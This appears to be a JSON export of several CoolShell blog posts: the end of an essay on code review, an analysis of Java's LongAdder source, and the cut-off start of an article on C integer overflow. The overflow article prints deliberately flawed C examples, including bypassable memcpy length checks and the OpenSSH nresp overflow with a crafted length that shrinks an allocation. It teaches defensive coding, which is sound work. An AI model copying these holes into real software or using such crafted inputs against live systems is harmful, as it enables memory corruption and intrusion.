Review无意义”的理由或借口，这就好像“因噎废食”一样。干什么事都会有困难和问题的，有的人就这样退缩了，但有的人看得到利大于弊，还是去坚持，人与人的不同正在这个地方。这就是为什么运动会受伤，但还是会人去运动，而有人因为怕受伤就退缩了一样。</p>\n<h4>被业务逼得太紧</h4>\n<p>被业务逼得太紧，需求乱变，这其实和Code Review没有多大关系了。对此，我想先讲一个我的故事。</p>\n<p>我去年在阿里的聚石塔，刚去的时候，聚石塔正在做一个很大的重构——对架构的大调整。因此压了很多业务需求，等这个项目花了2-3个月做完了后，一下子涌入了30-50个需求，还规定一个月完成，搞得团队疲于奔命。在累了两周后，我仔细分析了一下这些需求，发现很多需求是在重复做阿里云已经做过的东西，还有一些需求是因为聚石塔这个平台不规范没有标准所产生的问题。于是，我做了这么三件事：</p>\n<p style=\"padding-left: 30px;\">1）重新定义聚石塔这个产品主要目标和范围，确定哪些该做，哪些不该做。</p>\n<p style=\"padding-left: 30px;\">2）为聚石塔制定标准 ，让阿里云的API都长得基本一样，并制订云资源的接入标准。</p>\n<p style=\"padding-left: 30px;\">3）推动重构阿里云的Portal系统，不再实现阿里云已经做过的东西，与阿里云紧密结合。</p>\n<p>这些事情推动起来并不容易，聚石塔的业务方一开始也不理解，我和产品一起做业务方的工作，而阿里云也被我逼得很惨（在这里一并感谢，尤其阿里云的同学，老实说，和阿里云跨团队合作中是我这么多年来感觉最好的一次，相当赞）。通过这个事，聚石塔需求一下就有质的下降了。搞得还有几个工程师来和我说，你这么搞，聚石塔就没事可干了。姑且不说工程师对聚石塔的理解是怎么样的。 我只想说，我大量地减少了需求，尽最大可能联合了该联合的人，而不是自己闭门造车，并让产品的目标和方向更明确了。做了这些事情后，大家不但不用加班，而且还有时间充电去学技术，并为聚石塔思考未来的方向和发展。去年公司996的时候，我的团队还在965（搞得跟异教徒似的），而且还有很多时间去专研新的东西。</p>\n<p>说这个故事，我不是为了得瑟，而是因为有些人在微博上抨击我是一个道貌岸然的只会谈概念讲道理的装逼犯。所以，我告诉大家我在聚石塔是怎么做的，我公开写在这里，你也可以向相关的同学去求证我说的是不是真的。也向你证明，我可能是个装逼犯，但绝不是只会谈概念讲道理的装逼犯。</p>\n<p>被业务方逼得紧不要抱怨，你没有时间被逼得像牲口一样工作，这个时候，你需要的是暂停一下想一想，为什么会像牲口一样？而这正是让你变得聪明的机会。</p>\n<p>我为你总结一下，</p>\n<p style=\"padding-left: 30px;\">1）你有没有去Review业务部门给你的这么多的需求，哪些是合理的，哪些是不合理的。在Amazon，开发工程师都会被教育拿到需求后一定要问——“为什么要做？业务影响度有多大？有多少用户受益？”，回答不清这个问题，没有数据的支持，就不做。所以，产品经理要做很多数据挖拙和用户调研的工作，而不是拍拍脑袋，听极少数的用户抱怨就要开需求了。</p>\n<p style=\"padding-left: 30px;\">2）产品经理也要管理和教育的。你要告诉你的产品经理：“你是一个好的产品经理，因为你不但对用户把握得很好，也会对软件工艺把握得很好。你不但会开出外在的功能性需求，也同样会开出内在的让软件系统更完善的非功能性需求。你不是在迁就用户，而是引导用户。你不会无限制地加功能，而是把握产品灵魂控制并简化功能。你会为自己要做的和不做东西的感到同样的自豪。”你要告诉你的产品经理：“做一个半成品不如做好半年产品”（更多这样的观点请参看《<a href=\"https://coolshell.cn/articles/9156.html\" target=\"_blank\" title=\"《Rework》摘录及感想\">Rework摘录和感想</a>》）</p>\n<p style=\"padding-left: 30px;\">3）做事情是要讲效率的。Amazon里喜欢使用一种叫T-Shirt Size Estimation的评估方法来优先做投入小产出大的“Happy Case”。关于什么是效率，什么是T-Shirt Size Estimation，你可以看看《<a href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\" title=\"加班与效率\">加班与效率</a>》一文 。</p>\n<p style=\"padding-left: 30px;\">4）需求总是会变化的，不要抱怨需求变化太快。你应该抱怨的是为什么我们没有把握好方向？老变？这个事就像踢足球一样，你要去的地方是球将要去的地方，而不是球现在的地方。你要知道球要去哪里，你就知道球之前是怎么动的，找到了运动轨迹后，你才知道球要去像何方。如果你都不知道球要去向何方，那你就是一只无头苍蝇一样，东一下西一下。</p>\n<p><strong>当你忙得跟牲口一样，你应该停下来，问一下自己，自己成为牲口的原因，是不是就是因为自己做事时候像就牲口一样思考？</strong></p>\n<h4>其它</h4>\n<p>最后，我在给阿里今年新入职的毕业生的“技塑人生”的分享中，我给他们布置了5、6个Homework，分享几个给大家：</p>\n<p style=\"padding-left: 30px;\">1）重构或写一个模块，把他做成真正的Elegant级别。</p>\n<p style=\"padding-left: 30px;\">2）与大家分享一篇或几篇技术文章 ，并收获10-30个赞。</p>\n<p style=\"padding-left: 30px;\">3）降低现有至少20%的重复工作或维护工作</p>\n<p style=\"padding-left: 30px;\">4）拒绝或简化一个需求（需要项目中所有的Stakeholders都同意）</p>\n<p>部署这些作业的原因，是我希望新入行的同学们对自己的工作坚持高的标准，我知道你们会因为骨感的现实而妥协，但是我希望你们就算在现实中妥协了也要在内心中坚持尽可能高的标准，不要习惯成自然，最后被社会这个大染缸给潜移默化了。因为你至少要对自己负责。<strong>对自己负责就是，用脚投票，如果妥协得受不了了就离开吧</strong>。</p>\n<p>芝兰生于空谷，不以无人而不芳！君子修身养道，不以穷困而改志！</p>\n<p>谢谢听我唠叨。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4875.html\"><img alt=\"一个空格引发的惨剧\" height=\"150\" src=\"../wp-content/uploads/2011/06/20110620115951113-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11432.html\">从Code Review 谈如何做技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-4-17 从LongAdder看更高效的无锁实现.html",
    "content": "<html><body><p><strong>（感谢 <a href=\"http://weibo.com/liuinsect\" target=\"_blank\">@jd刘锟洋</a> 投稿，更多文章参看他的博客：<a href=\"http://www.liuinsect.com/\" target=\"_blank\">码梦为生</a>）</strong></p>\n<p><strong>原文链接</strong>：《<a href=\"http://www.liuinsect.com/2014/04/15/%E6%AF%94atomiclong%E8%BF%98%E9%AB%98%E6%95%88%E7%9A%84longadder-%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90/\" target=\"_blank\">比AtomicLong还高效的LongAdder 源码解析</a>》</p>\n<p>接触到AtomicLong的原因是在看guava的LoadingCache相关代码时，关于LoadingCache，其实思路也非常简单清晰：用模板模式解决了缓存不命中时获取数据的逻辑，这个思路我早前也正好在项目中使用到。</p>\n<p>言归正传，为什么说LongAdder引起了我的注意，原因有二：</p>\n<ol>\n<li>作者是Doug lea ，地位实在举足轻重。</li>\n<li>他说这个比AtomicLong高效。</li>\n</ol>\n<p>我们知道，AtomicLong已经是非常好的解决方案了，涉及并发的地方都是使用CAS操作，在硬件层次上去做 compare and set操作。效率非常高。</p>\n<p>因此，我决定研究下，为什么LongAdder比AtomicLong高效。</p>\n<p>首先，看LongAdder的继承树：</p>\n<p><img alt=\"la1\" class=\"alignnone size-full wp-image-209 aligncenter\" height=\"104\" src=\"../wp-content/uploads/2014/04/la1.png\" width=\"431\"/></p>\n<p>继承自Striped64，这个类包装了一些很重要的内部类和操作。稍候会看到。</p>\n<p><span id=\"more-11454\"></span></p>\n<p><strong>正式开始前，强调下，我们知道，AtomicLong的实现方式是内部有个value 变量，当多线程并发自增，自减时，均通过CAS 指令从机器指令级别操作保证并发的原子性。</strong></p>\n<p>再看看LongAdder的方法：</p>\n<p><img alt=\"la2\" class=\"alignnone size-full wp-image-210 aligncenter\" height=\"436\" src=\"../wp-content/uploads/2014/04/la2.png\" width=\"472\"/><br/>\n怪不得可以和AtomicLong作比较，连API都这么像。我们随便挑一个API入手分析，这个API通了，其他API都大同小异，因此，我选择了add这个方法。事实上,其他API也都依赖这个方法。</p>\n<p><img alt=\"la3\" class=\"alignnone size-full wp-image-211 aligncenter\" height=\"281\" src=\"../wp-content/uploads/2014/04/la3.png\" width=\"701\"/><br/>\nLongAdder中包含了一个Cell 数组，Cell是Striped64的一个内部类，顾名思义，Cell 代表了一个最小单元，这个单元有什么用，稍候会说道。先看定义：</p>\n<p><img alt=\"la4\" class=\"alignnone size-full wp-image-212 aligncenter\" height=\"649\" src=\"../wp-content/uploads/2014/04/la4.png\" width=\"686\"/><br/>\nCell内部有一个非常重要的value变量，并且提供了一个CAS更新其值的方法。</p>\n<p>回到add方法：</p>\n<p><img alt=\"la3\" class=\"alignnone size-full wp-image-211 aligncenter\" height=\"281\" src=\"../wp-content/uploads/2014/04/la3.png\" width=\"701\"/></p>\n<p>这里，我有个疑问，AtomicLong已经使用CAS指令，非常高效了（比起各种锁），LongAdder如果还是用CAS指令更新值，怎么可能比AtomicLong高效了？ 何况内部还这么多判断！！！</p>\n<p>这是我开始时最大的疑问，所以，我猜想，难道有比CAS指令更高效的方式出现了？ 带着这个疑问，继续。</p>\n<p>第一if 判断，第一次调用的时候cells数组肯定为null,因此，进入casBase方法：</p>\n<p><img alt=\"la5\" class=\"alignnone size-full wp-image-213 aligncenter\" height=\"81\" src=\"../wp-content/uploads/2014/04/la5.png\" width=\"772\"/><br/>\n原子更新base没啥好说的，如果更新成功，本地调用开始返回，否则进入分支内部。</p>\n<p>什么时候会更新失败？ 没错，并发的时候，好戏开始了，AtomicLong的处理方式是死循环尝试更新，直到成功才返回，而LongAdder则是进入这个分支。</p>\n<p>分支内部，通过一个Threadlocal变量threadHashCode 获取一个HashCode对象，该HashCode对象依然是Striped64类的内部类，看定义：</p>\n<p><img alt=\"la6\" class=\"alignnone size-full wp-image-214 aligncenter\" height=\"203\" src=\"../wp-content/uploads/2014/04/la6.png\" width=\"734\"/><br/>\n有个code变量，保存了一个非0的随机数随机值。</p>\n<p>回到add方法：</p>\n<p><img alt=\"la3\" class=\"alignnone size-full wp-image-211 aligncenter\" height=\"281\" src=\"../wp-content/uploads/2014/04/la3.png\" width=\"701\"/></p>\n<p>拿到该线程相关的HashCode对象后，获取它的code变量，as[(n-1)&amp;h] 这句话相当于对h取模，只不过比起取模，因为是 与 的运算所以效率更高。</p>\n<p>计算出一个在Cells 数组中当先线程的HashCode对应的 索引位置，并将该位置的Cell 对象拿出来用CAS更新它的value值。</p>\n<p>当然，如果as 为null 并且更新失败，才会进入retryUpdate方法。</p>\n<p>看到这里我想应该有很多人明白为什么LongAdder会比AtomicLong更高效了，没错，唯一会制约AtomicLong高效的原因是高并发，高并发意味着CAS的失败几率更高， 重试次数更多，越多线程重试，CAS失败几率又越高，变成恶性循环，AtomicLong效率降低。 那怎么解决？<strong> LongAdder给了我们一个非常容易想到的解决方案：减少并发，将单一value的更新压力分担到多个value中去，降低单个value的 “热度”，分段更新！！！</strong></p>\n<p>这样，线程数再多也会分担到多个value上去更新，只需要增加value就可以降低 value的 “热度”  AtomicLong中的 恶性循环不就解决了吗？ cells 就是这个 “段” cell中的value 就是存放更新值的， 这样，<strong>当我需要总数时，把cells 中的value都累加一下不就可以了么！！</strong></p>\n<p><strong>当然，聪明之处远远不仅仅这里，在看看add方法中的代码，casBase方法可不可以不要，直接分段更新,上来就计算 索引位置，然后更新value？</strong></p>\n<p>答案是不好，不是不行，因为，casBase操作等价于AtomicLong中的CAS操作，要知道，LongAdder这样的处理方式是有坏处的，分段操作必然带来空间上的浪费，可以空间换时间，但是，<strong>能不换就不换，看空间时间都节约~！</strong> 所以，<strong>casBase操作保证了在低并发时，不会立即进入分支做分段更新操作</strong>，因为低并发时，casBase操作基本都会成功，只有并发高到一定程度了，才会进入分支，所以，Doug Lea对该类的说明是：<strong> 低并发时LongAdder和AtomicLong性能差不多，高并发时LongAdder更高效！</strong></p>\n<p style=\"text-align: center;\"><img alt=\"la7\" class=\"wp-image-215 aligncenter\" height=\"331\" src=\"../wp-content/uploads/2014/04/la7.png\" width=\"750\"/></p>\n<p>但是，Doung Lea 还是没这么简单，聪明之处还没有结束……</p>\n<p>如此，retryUpdate中做了什么事，也基本略知一二了，因为cell中的value都更新失败(说明该索引到这个cell的线程也很多，并发也很高时) 或者cells数组为空时才会调用retryUpdate,</p>\n<p>因此，<strong>retryUpdate里面应该会做两件事：</strong></p>\n<ol>\n<li><strong>扩容，将cells数组扩大</strong>，降低每个cell的并发量，同样，这也意味着cells数组的rehash动作。</li>\n<li> <strong>给空的cells变量赋一个新的Cell数组</strong>。</li>\n</ol>\n<p>是不是这样呢？ 继续看代码：</p>\n<p>代码比较长，变成文本看看，为了方便大家看if else 分支，对应的  { } 我用相同的颜色标注出来。可以看到，这个时候Doug Lea才愿意使用死循环保证更新成功~！</p>\n<pre class=\"EnlighterJSRAW\">\n  final void retryUpdate(long x, HashCode hc, boolean wasUncontended) {\n        int h = hc.code;\n        boolean collide = false;                // True if last slot nonempty\n        for (;;) {\n            Cell[] as; Cell a; int n; long v;\n            if ((as = cells) != null &amp;&amp; (n = as.length) &gt; 0) {// 分支1\n                if ((a = as[(n - 1) &amp; h]) == null) {\n                    if (busy == 0) {            // Try to attach new Cell\n                        Cell r = new Cell(x);   // Optimistically create\n                        if (busy == 0 &amp;&amp; casBusy()) {\n                            boolean created = false;\n                            try {               // Recheck under lock\n                                Cell[] rs; int m, j;\n                                if ((rs = cells) != null &amp;&amp;\n                                        (m = rs.length) &gt; 0 &amp;&amp;\n                                        rs[j = (m - 1) &amp; h] == null) {\n                                    rs[j] = r;\n                                    created = true;\n                                }\n                            } finally {\n                                busy = 0;\n                            }\n                            if (created)\n                                break;\n                            continue;           // Slot is now non-empty\n                        }\n                    }\n                    collide = false;\n                }\n                else if (!wasUncontended)       // CAS already known to fail\n                    wasUncontended = true;      // Continue after rehash\n                else if (a.cas(v = a.value, fn(v, x)))\n                    break;\n                else if (n &gt;= NCPU || cells != as)\n                    collide = false;            // At max size or stale\n                else if (!collide)\n                    collide = true;\n                else if (busy == 0 &amp;&amp; casBusy()) {\n                    try {\n                        if (cells == as) {      // Expand table unless stale\n                            Cell[] rs = new Cell[n &lt;&lt; 1];\n                            for (int i = 0; i &lt; n; ++i)\n                                rs[i] = as[i];\n                            cells = rs;\n                        }\n                    } finally {\n                        busy = 0;\n                    }\n                    collide = false;\n                    continue;                   // Retry with expanded table\n                }\n                h ^= h &lt;&lt; 13;                   // Rehash  h ^= h &gt;&gt;&gt; 17;\n                h ^= h &lt;&lt; 5;\n            }\n            else if (busy == 0 &amp;&amp; cells == as &amp;&amp; casBusy()) {//分支2\n                boolean init = false;\n                try {                           // Initialize table\n                    if (cells == as) {\n                        Cell[] rs = new Cell[2];\n                        rs[h &amp; 1] = new Cell(x);\n                        cells = rs;\n                        init = true;\n                    }\n                } finally {\n                    busy = 0;\n                }\n                if (init)\n                    break;\n            }\n            else if (casBase(v = base, fn(v, x)))\n                break;                          // Fall back on using base\n        }\n        hc.code = h;                            // Record index for next time\n    }\n\n</pre>\n<p>分支2中，为cells为空的情况，需要new 一个Cell数组。</p>\n<p>分支1分支中，略复杂一点点：</p>\n<p>注意，几个分支中都提到了busy这个方法，这个可以理解为一个CAS实现的锁，只有在需要更新cells数组的时候才会更新该值为1，如果更新失败，则说明当前有线程在更新cells数组，当前线程需要等待。重试。</p>\n<p>回到分支1中，这里首先判断当前cells数组中的索引位置的cell元素是否为空，如果为空，则添加一个cell到数组中。</p>\n<p>否则更新 标示冲突的标志位wasUncontended 为 true ，重试。</p>\n<p>否则，再次更新cell中的value,如果失败，重试。</p>\n<p>。。。。。。。一系列的判断后<span style=\"line-height: 1.5em;\">，如果还是失败，下下下策，reHash,直接将cells数组扩容一倍，并更新当前线程的hash值，保证下次更新能尽可能成功。</span></p>\n<p><strong>可以看到，LongAdder确实用了很多心思减少并发量，并且，每一步都是在”没有更好的办法“的时候才会选择更大开销的操作，从而尽可能的用最最简单的办法去完成操作。追求简单，但是绝对不粗暴。</strong></p>\n<p>———————<strong>陈皓注————————</strong></p>\n<p>最后留给大家思考的两个问题：</p>\n<p style=\"padding-left: 30px;\">1）是不是AtomicLong可以被废了？</p>\n<p style=\"padding-left: 30px;\">2）如果cell被创建后，原来的casBase就不走了，会不会性能更差？</p>\n<p>———————liuinsect<strong>注————————</strong></p>\n<p>昨天和左耳朵耗子简单讨论了下，发现左耳朵耗子,耗哥对读者思维的引导还是非常不错的，在第一次发现这个类后，对里面的实现又提出了更多的问题，引导大家思考，值得学习。</p>\n<p>我们 发现的问题有这么几个（包括以上的问题），自己简单总结下，欢迎大家讨论：</p>\n<p>1. jdk 1.7中是不是有这个类？<br/>\n我确认后，结果如下：    jdk-7u51 版本上还没有  但是jdk-8u20版本上已经有了。代码基本一样 ，增加了对double类型的支持和删除了一些冗余的代码。有兴趣的同学可以去下载下JDK 1.8看看</p>\n<p>2. base有没有参与汇总？<br/>\nbase在调用intValue等方法的时候是会汇总的：</p>\n<p><a href=\"http://www.liuinsect.com/wp-content/uploads/2014/04/LA101.bmp\"><img alt=\"LA10\" src=\"../wp-content/uploads/2014/04/LA101.bmp\"/></a></p>\n<p>3. 如果cell被创建后，原来的casBase就不走了，会不会性能更差？ base的顺序可不可以调换?<br/>\n<span style=\"line-height: 1.5em;\">    刚开始我想可不可以调换add方法中的判断顺序，比如，先做casBase的判断？ 仔细思考后认为还是 不调换可能更好，调换后每次都要CAS一下，在高并发时，失败几率非常高，并且是恶性循环，比起一次判断，后者的开销明显小很多，还没有副作用（上一个问题，base变量在sum时base是会被统计的，并不会丢掉base的值）。因此，不调换可能会更好。</span></p>\n<p>4. AtomicLong可不可以废掉？<br/>\n我的想法是可以废掉了，因为，虽然LongAdder在空间上占用略大，但是，它的性能已经足以说明一切了,无论是从节约空的角度还是执行效率上，AtomicLong基本没有优势了，具体看这个测试（感谢<a href=\"http://lianming.info/\" id=\"commentauthor-1431785\" rel=\"external nofollow\">Lemon</a>的回复）:http://blog.palominolabs.com/2014/02/10/java-8-performance-improvements-longadder-vs-atomiclong/</p>\n<p style=\"padding-left: 30px;\">\n</p><p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/8239.html\"><img alt=\"无锁队列的实现\" height=\"150\" src=\"../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/8239.html\">无锁队列的实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/9169.html\"><img alt=\"并发框架Disruptor译文\" height=\"150\" src=\"../wp-content/uploads/2013/02/Disruptor-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/9169.html\">并发框架Disruptor译文</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/9606.html\"><img alt=\"疫苗：Java HashMap的死循环\" height=\"150\" src=\"../wp-content/uploads/2013/05/race_condition-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/9606.html\">疫苗：Java HashMap的死循环</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/6424.html\"><img alt=\"Hash Collision DoS 问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/6424.html\">Hash Collision DoS 问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-4-21 C语言的整型溢出问题.html",
    "content": "<html><body><p>整型溢出有点老生常谈了，bla, bla, bla… 但似乎没有引起多少人的重视。整型溢出会有可能导致缓冲区溢出，缓冲区溢出会导致各种黑客攻击，比如最近OpenSSL的heartbleed事件，就是一个buffer overread的事件。在这里写下这篇文章，希望大家都了解一下整型溢出，编译器的行为，以及如何防范，以写出更安全的代码。</p>\n<h4>什么是整型溢出</h4>\n<p>C语言的整型问题相信大家并不陌生了。对于整型溢出，分为无符号整型溢出和有符号整型溢出。</p>\n<p><strong>对于unsigned整型溢出，C的规范是有定义的</strong>——“溢出后的数会以2^(8*sizeof(type))作模运算”，也就是说，如果一个unsigned char（1字符，8bits）溢出了，会把溢出的值与256求模。例如：</p>\n<pre class=\"EnlighterJSRAW\">unsigned char x = 0xff;\nprintf(\"%d\\n\", ++x);</pre>\n<p>上面的代码会输出：0 （因为0xff + 1是256，与2^8求模后就是0）</p>\n<p><strong>对于signed整型的溢出，C的规范定义是“undefined behavior”</strong>，也就是说，编译器爱怎么实现就怎么实现。对于大多数编译器来说，算得啥就是啥。比如：</p>\n<pre class=\"EnlighterJSRAW\">signed char x =0x7f; //注：0xff就是-1了，因为最高位是1也就是负数了\nprintf(\"%d\\n\", ++x);</pre>\n<p>上面的代码会输出：-128，因为0x7f + 0x01得到0x80，也就是二进制的1000 0000，符号位为1，负数，后面为全0，就是负的最小数，即-128。</p>\n<p><span id=\"more-11466\"></span></p>\n<p>另外，千万别以为signed整型溢出就是负数，这个是不定的。比如：</p>\n<pre class=\"EnlighterJSRAW\">signed char x = 0x7f;\nsigned char y = 0x05;\nsigned char r = x * y;\nprintf(\"%d\\n\", r);</pre>\n<p>上面的代码会输出：123</p>\n<p>相信对于这些大家不会陌生了。</p>\n<h4>整型溢出的危害</h4>\n<p>下面说一下，整型溢出的危害。</p>\n<h5>示例一：整形溢出导致死循环</h5>\n<pre class=\"EnlighterJSRAW\"> ... ...\n... ...\nshort len = 0;\n... ...\nwhile(len&lt; MAX_LEN) {\n    len += readFromInput(fd, buf);\n    buf += len;\n}</pre>\n<p>上面这段代码可能是很多程序员都喜欢写的代码（我在很多代码里看到过多次），其中的MAX_LEN 可能会是个比较大的整型，比如32767，我们知道short是16bits，取值范围是-32768 到 32767 之间。但是，上面的while循环代码有可能会造成整型溢出，而len又是个有符号的整型，所以可能会成负数，导致不断地死循环。</p>\n<h5>示例二：整形转型时的溢出</h5>\n<pre class=\"EnlighterJSRAW\">int copy_something(char *buf, int len)\n{\n    #define MAX_LEN 256\n    char mybuf[MAX_LEN];\n     ... ...\n     ... ...\n\n     if(len &gt; MAX_LEN){ // &lt;---- [1]\n         return -1;\n     }\n\n     return memcpy(mybuf, buf, len);\n}</pre>\n<p>上面这个例子中，还是[1]处的if语句，看上去没有会问题，但是len是个signed int，而memcpy则需一个size_t的len，也就是一个unsigned 类型。于是，len会被提升为unsigned，此时，如果我们给len传一个负数，会通过了if的检查，但在memcpy里会被提升为一个正数，于是我们的mybuf就是overflow了。这个会导致mybuf缓冲区后面的数据被重写。</p>\n<h5>示例三：分配内存</h5>\n<p>关于整数溢出导致堆溢出的很典型的例子是，OpenSSH Challenge-Response SKEY/BSD_AUTH 远程缓冲区溢出漏洞。下面这段有问题的代码摘自OpenSSH的代码中的auth2-chall.c中的input_userauth_info_response() 函数:</p>\n<pre class=\"EnlighterJSRAW\">nresp = packet_get_int();\nif (nresp &gt; 0) {\n    response = xmalloc(nresp*sizeof(char*));\n    for (i = 0; i &lt; nresp; i++)\n        response[i] = packet_get_string(NULL);\n}</pre>\n<p>上面这个代码中，nresp是size_t类型（size_t一般就是unsigned int/long int），这个示例是一个解数据包的示例，一般来说，数据包中都会有一个len，然后后面是data。如果我们精心准备一个len，比如：1073741825（在32位系统上，指针占4个字节，unsigned int的最大值是0xffffffff，我们只要提供0xffffffff/4 的值——0x40000000，这里我们设置了0x4000000 + 1）， nresp就会读到这个值，然后nresp<em>sizeof(char</em>)就成了 1073741825 * 4，于是溢出，结果成为了 0x100000004，然后求模，得到4。于是，malloc(4)，于是后面的for循环1073741825 次，就可以干环事了（经过0x40000001的循环,用户的数据早已覆盖了xmalloc原先分配的4字节的空间以及后面的数据，包括程序代码，函数指针，于是就可以改写程序逻辑。关于更多的东西，你可以看一下这篇文章《<a href=\"http://engj.org/index.php/ej/article/view/112/167\" rel=\"noopener noreferrer\" target=\"_blank\">Survey of Protections from Buffer-Overflow Attacks</a>》）。</p>\n<h5>示例四：缓冲区溢出导致安全问题</h5>\n<pre class=\"EnlighterJSRAW\">int func(char *buf1, unsigned int len1,\n         char *buf2, unsigned int len2 )\n{\n   char mybuf[256]; \n\n   if((len1 + len2) &gt; 256){    //&lt;--- [1]\n       return -1;\n   } \n\n   memcpy(mybuf, buf1, len1);\n   memcpy(mybuf + len1, buf2, len2); \n\n   do_some_stuff(mybuf); \n\n   return 0;\n}</pre>\n<p>上面这个例子本来是想把buf1和buf2的内容copy到mybuf里，其中怕len1 + len2超过256 还做了判断，但是，如果len1+len2溢出了，根据unsigned的特性，其会与2^32求模，所以，基本上来说，上面代码中的[1]处有可能为假的。（注：通常来说，在这种情况下，如果你开启-O代码优化选项，那个if语句块就全部被和谐掉了——被编译器给删除了）比如，你可以测试一下 len1=0x104， len2 = 0xfffffffc 的情况。</p>\n<h5>示例五：size_t 的溢出</h5>\n<pre class=\"EnlighterJSRAW\">for (int i= strlen(s)-1;  i&gt;=0; i--)  { ... }</pre>\n<pre class=\"EnlighterJSRAW\">for (int i=v.size()-1; i&gt;=0; i--)  { ... }</pre>\n<p>上面这两个示例是我们经常用的从尾部遍历一个数组的for循环。第一个是字符串，第二个是C++中的vector容器。strlen()和vector::size()返回的都是 size_t，size_t在32位系统下就是一个unsigned int。你想想，如果strlen(s)和v.size() 